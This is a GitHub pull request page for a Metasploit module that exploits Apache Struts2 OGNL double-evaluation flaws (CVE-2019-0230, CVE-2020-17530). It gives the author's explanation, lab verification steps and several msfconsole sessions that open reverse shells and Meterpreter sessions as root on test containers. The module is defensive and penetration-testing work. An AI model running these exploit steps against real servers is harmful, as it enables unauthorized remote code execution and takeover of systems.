Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Struts2 Multi Eval OGNL RCE #14521

Merged
merged 9 commits into from
Dec 23, 2020
Merged

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Dec 16, 2020

This adds an exploit for CVE-2019-0230 and CVE-2020-17530 which are both issues resulting in Struts2 evaluating OGNL expressions multiple times. These vulnerabilities are inherently application dependant. Users will want to set the NAME parameter appropriately and use the check method to ensure that the evaluation takes place within an HTML attribute.

I think it makes sense to keep these vulnerabilities together. They use different OGNL chains and HTTP verbs but are otherwise pretty similar in the sense that they both are the result of multiple evaluations of OGNL expressions in HTML attributes. The CVE-2019-0230 OGNL chain for RCE requires a one time chain to enable the RCE gadget, this is handled automatically in the exploit.

The check method is a bit finicky. The OGNL gadget chain for CVE-2020-17530 will echo the command output, while the other doesn't so they both use a simple mathematical expression to ensure the evaluation takes place. This came from the public PoCs and seems to be a pretty common technique. The limitation I found with this was that the simple evaluation would yield false positives when trying to identify which of the CVEs the system is vulnerable to which is why there is no "Automatic" target. The user will need to know which CVE they're targeting for, with the default being the more recent of the pair.

I also updated the docs for the exploit/multi/http/struts2_namespace_ognl to improve how they are rendered in markdown. You'll notice that the changes are related to the markdown formatting not the content. The XML tags must be escaped in the markdown to not break the rendered output from msfconsole's info -d command.

Verification Steps

  • Install and configure the images provided by vulhub (one at a time since they both use port 8080), these steps are documented in the module docs.
    • cd struts2/s2-059
    • docker-compose up -d
  • Test the module against the targets
    • Spin up msfconsole and use exploit/multi/http/struts2_multi_eval_ognl
    • Leave the NAME parameter at its default value of id
    • Set the CVE datastore option based on the one you're testing
    • Run check and make sure it's identified as "Appears" vulnerable
    • Run a payload and obtain a session

Example

msf6 > use exploit/multi/http/struts2_multi_eval_ognl 
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set CVE CVE-2019-0230 
CVE => CVE-2019-0230
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set TARGET Linux\ Dropper 
TARGET => Linux Dropper
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/struts2_multi_eval_ognl) > check
[*] 192.168.159.128:8080 - The target appears to be vulnerable.
msf6 exploit(multi/http/struts2_multi_eval_ognl) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp using CVE-2019-0230
[*] Command Stager progress -  44.15% done (362/820 bytes)
[*] Sending stage (3008420 bytes) to 172.19.0.2
[*] Command Stager progress - 100.00% done (820/820 bytes)
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 172.19.0.2:47884) at 2020-12-15 19:47:10 -0500
meterpreter > getuid
Server username: root @ 91f7855f1eda (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 172.19.0.2
OS           : Debian 10.5 (Linux 5.9.11-100.fc32.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Dec 22, 2020

Seems to be working nicely for CVE-2020-17530:

msf6 exploit(multi/http/struts2_multi_eval_ognl) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set TARGET 
set TARGET 0               set TARGET 1               set TARGET Linux\ Dropper  set TARGET Unix\ Command
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set TARGET Linux\ Dropper 
TARGET => Linux Dropper
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/struts2_multi_eval_ognl) > check
[*] 127.0.0.1:8080 - The target appears to be vulnerable.
msf6 exploit(multi/http/struts2_multi_eval_ognl) > run

[*] Started reverse TCP handler on 172.26.122.9:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp using CVE-2020-17530
[*] Command Stager progress -  44.15% done (362/820 bytes)
[*] Sending stage (3008420 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.26.122.9:4444 -> 172.17.0.2:42396) at 2020-12-22 16:58:42 -0600
[*] Command Stager progress - 100.00% done (820/820 bytes)

meterpreter > getuid
Server username: root @ b848315fb1c8 (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian 10.6 (Linux 5.4.0-56-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

And here is the normal non-dropper version:

msf6 exploit(multi/http/struts2_multi_eval_ognl) > show options

Module options (exploit/multi/http/struts2_multi_eval_ognl):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CVE        CVE-2020-17530   yes       Vulnerability to use (Accepted: CVE-2020-17530, CVE-2019-0230)
   NAME       id               yes       The HTTP query parameter or form data name
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8080             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       A valid base path to a struts application
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.26.122.9     yes       The listen address (an interface may be specified)
   LPORT  4466             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


msf6 exploit(multi/http/struts2_multi_eval_ognl) > run

[*] Started reverse TCP handler on 172.26.122.9:4466 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Executing Unix Command for cmd/unix/reverse_bash using CVE-2020-17530
[*] Command shell session 2 opened (172.26.122.9:4466 -> 172.17.0.2:37378) at 2020-12-22 17:04:13 -0600

id
uid=0(root) gid=0(root) groups=0(root)
whoami
root

@gwillcox-r7
Copy link
Contributor

CVE-2019-0230 also appears to be working well:

msf6 > use exploit/multi/http/struts2_multi_eval_ognl
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set CVE CVE-2019-0230 
CVE => CVE-2019-0230
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/http/struts2_multi_eval_ognl) > check
[*] 127.0.0.1:8080 - The target appears to be vulnerable.
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf6 exploit(multi/http/struts2_multi_eval_ognl) > run

[*] Started reverse TCP handler on 172.26.122.9:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Executing Unix Command for cmd/unix/reverse_bash using CVE-2019-0230
[*] Command shell session 1 opened (172.26.122.9:4444 -> 172.19.0.2:51944) at 2020-12-22 17:14:01 -0600

id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit
[*] 127.0.0.1 - Command shell session 1 closed.
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set TARGET Linux\ Dropper 
TARGET => Linux Dropper
msf6 exploit(multi/http/struts2_multi_eval_ognl) > set payload linux/x64/meterpreter/reverse_tcp 
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/struts2_multi_eval_ognl) > show options

Module options (exploit/multi/http/struts2_multi_eval_ognl):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CVE        CVE-2019-0230    yes       Vulnerability to use (Accepted: CVE-2020-17530, CVE-2019-0230)
   NAME       id               yes       The HTTP query parameter or form data name
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8080             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       A valid base path to a struts application
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.26.122.9     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf6 exploit(multi/http/struts2_multi_eval_ognl) > run

[*] Started reverse TCP handler on 172.26.122.9:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp using CVE-2019-0230
[*] Command Stager progress -  44.15% done (362/820 bytes)
[*] Sending stage (3008420 bytes) to 172.19.0.2
[*] Meterpreter session 2 opened (172.26.122.9:4444 -> 172.19.0.2:52026) at 2020-12-22 17:15:32 -0600
[*] Sending stage (3008420 bytes) to 172.19.0.2
[*] Command Stager progress - 100.00% done (820/820 bytes)

meterpreter > getuid
Server username: root @ 4dd5697420de (uid=0, gid=0, euid=0, egid=0)
meterpreter > getprivs
[-] Unknown command: getprivs.
meterpreter > sysinfo
Computer     : 172.19.0.2
OS           : Debian 10.5 (Linux 5.4.0-56-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 

…add in missing documentation for some options, plus to make some explanations a bit clearer.
…ument, edit the wording on the module to match the documentation, and do final touch ups.
@gwillcox-r7 gwillcox-r7 merged commit 7de662c into rapid7:master Dec 23, 2020
@gwillcox-r7 gwillcox-r7 added the rn-modules release notes for new or majorly enhanced modules label Dec 23, 2020
@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Dec 23, 2020

Release Notes

New module exploits/multi/http/struts2_multi_eval_ognl supports exploiting Apache Struts Framework vulnerabilities CVE-2019-0230 and CVE-2020-17530, which are both issues resulting in Struts2 evaluating OGNL expressions multiple times. Successful exploitation results in unauthenticated remote attackers gaining RCE as the use that Strusts2 is running as.

@zeroSteiner
Copy link
Contributor Author

Thanks @gwillcox-r7!

@zeroSteiner zeroSteiner deleted the feat/mod/struts branch December 23, 2020 18:04
@adfoster-r7
Copy link
Contributor

Successful exploitation results in unauthenticated remote attackers gaining RCE as the root user.

@gwillcox-r7 Just confirming if this line is accurate from the release notes, I thought this exploit was application dependant? So in theory you could get root access, but more likely it would be nobody or similar? 🤔

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Jan 26, 2021

Successful exploitation results in unauthenticated remote attackers gaining RCE as the root user.

@gwillcox-r7 Just confirming if this line is accurate from the release notes, I thought this exploit was application dependant? So in theory you could get root access, but more likely it would be nobody or similar? 🤔

Yeah seems like you are right and I may have just assumed it was as root as the documentation didn't specify which user you gain permissions as and in my tests I ended up getting root, not realizing that the VulnHub images were set up to run Struts as root (which is not likely in production environments).

Updated the release notes so long.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants